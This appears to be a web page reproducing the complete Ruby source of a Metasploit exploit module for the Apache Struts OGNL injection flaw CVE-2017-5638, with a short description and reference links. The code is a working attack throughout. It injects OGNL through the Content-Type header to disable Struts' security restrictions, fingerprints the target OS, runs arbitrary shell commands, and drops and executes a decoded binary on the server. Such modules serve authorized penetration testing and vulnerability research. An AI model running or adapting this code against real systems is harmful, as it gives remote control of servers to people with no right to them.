This module exploits a remote code execution vunlerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables and dropped in the server’s temp dir. If this fails, try a cmd/* payload, which won’t have to write to the disk.

Module Name

MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vunlerability in Apache Struts
        version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
        via http Content-Type header.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      'Author'         => [
        'Nike.Zheng', # PoC
        'Nixawk',     # Metasploit module
        'Chorder',    # Metasploit module
        'egypt',      # combining the above
        'Jeffrey Martin', # Java fu
      ],
      'References'     => [
        ['CVE', '2017-5638'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
      ],
      'DisclosureDate' => 'Mar 07 2017',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
        ]
      )

    @data_header = "X-#{rand_text_alpha(4)}"
  end

  def check
    var_a = rand_text_alpha_lower(4)

    ognl = ""
    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.headers[var_a]
      vprint_good("Victim operating system: #{resp.headers[var_a]}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    case payload.arch.first
    #when ARCH_JAVA
    #  datastore['LHOST'] = nil
    #  resp = send_payload(payload.encoded_jar)
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload(generate_payload_exe)
    end
  end

  def send_struts_request(ognl, extra_header: '')
    uri = normalize_uri(datastore["TARGETURI"])
    content_type = "%{(#_='multipart/form-data')."
    content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    content_type << "(#_memberAccess?"
    content_type << "(#_memberAccess=#dm):"
    content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
    content_type << "(#ognlUtil.getExcludedClasses().clear())."
    content_type << "(#context.setMemberAccess(#dm))))."
    content_type << ognl
    content_type << "}"

    headers = { 'Content-Type' => content_type }
    if extra_header
      headers[@data_header] = extra_header
    end

    #puts content_type.gsub(").", ").\n")
    #puts

    resp = send_request_cgi(
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def execute_command(cmd)
    ognl = ''
    ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

    # You can add headers to the server's response for debugging with this:
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('decoded',#cmd)).|

    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
    ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start())|

    send_struts_request(ognl, extra_header: cmd)
  end

  def send_payload(exe)

    ognl = ""
    ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|

    # Using stuff from the sun.* package here means it likely won't work on
    # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
    # work and I don't see a better way of getting binary data onto the
    # system. =/
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
    ognl << %q|(#fos.write(#d)).|
    ognl << %q|(#fos.close()).|

    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete())|

    send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
  end
end

=begin
Doesn't work:

    ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
    ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
    ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
    ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
    ognl << %q|(#m.invoke(null,null)).|

    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|  # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).|        # parse failed
    #ognl << %q|(#m=#c.getMethod('run',null)).|                          # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6

    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).|     # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).|       # parse failed
    #ognl << %q|(#m=#c.getMethod('main',null)).|                         # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884

=end

References

http://cvedetails.com/cve/cve-2017-5638

https://cwiki.apache.org/confluence/display/WW/S2-045

https://vulners.com/metasploit/MSF:EXPLOIT/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL